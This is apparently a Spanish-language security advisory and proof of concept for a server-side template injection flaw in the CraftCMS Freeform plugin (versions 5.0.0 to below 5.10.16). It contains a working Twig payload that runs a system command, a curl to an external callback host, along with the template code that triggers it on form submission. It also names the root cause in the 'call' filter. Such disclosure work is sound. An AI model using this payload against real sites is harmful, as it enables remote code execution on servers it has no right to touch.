
Inyección de código arbitrario en CraftCMS Freeform 5.0.0 < 5.10.16
CraftCMS Freeform contiene una vulnerabilidad SSTI, que resulta en una inyección de código arbitrario para todos los usuarios que tienen acceso a editar un formulario (título de envío).
Las versiones vulnerables son v5.0.0 < v5.10.16.
Crear un formulario:

Creé el formulario "pentest" aquí como prueba de concepto. A continuación, en la configuración, establece el siguiente título de envío (cambia el nombre de dominio por el de tu propio servidor):
{{ 'system' | call('curl http://gwgyynafr4feu5xecukf1h2nqew5kw8l.oastify.com/rce') }}

Esto ejecutará una llamada arbitraria al sistema. En este caso, realizo un curl a un servidor controlado que me notificará en caso de que haya conexiones entrantes.
A continuación, incluye este formulario en una plantilla/página y envíalo:
<h1>test</h1>
{% set form = freeform.form('pentest') %}
{% if form %}
{{ form.render() }}
{% else %}
<p>Form not found.</p>
{% endif %}
Esto habrá llamado al comando curl. Podemos verificarlo observando la solicitud HTTP entrante que se creó:

La causa raíz de este problema es que Freeform implementa el filtro "call" de Twig sin validar la entrada del usuario. Esto se solucionó en el siguiente commit.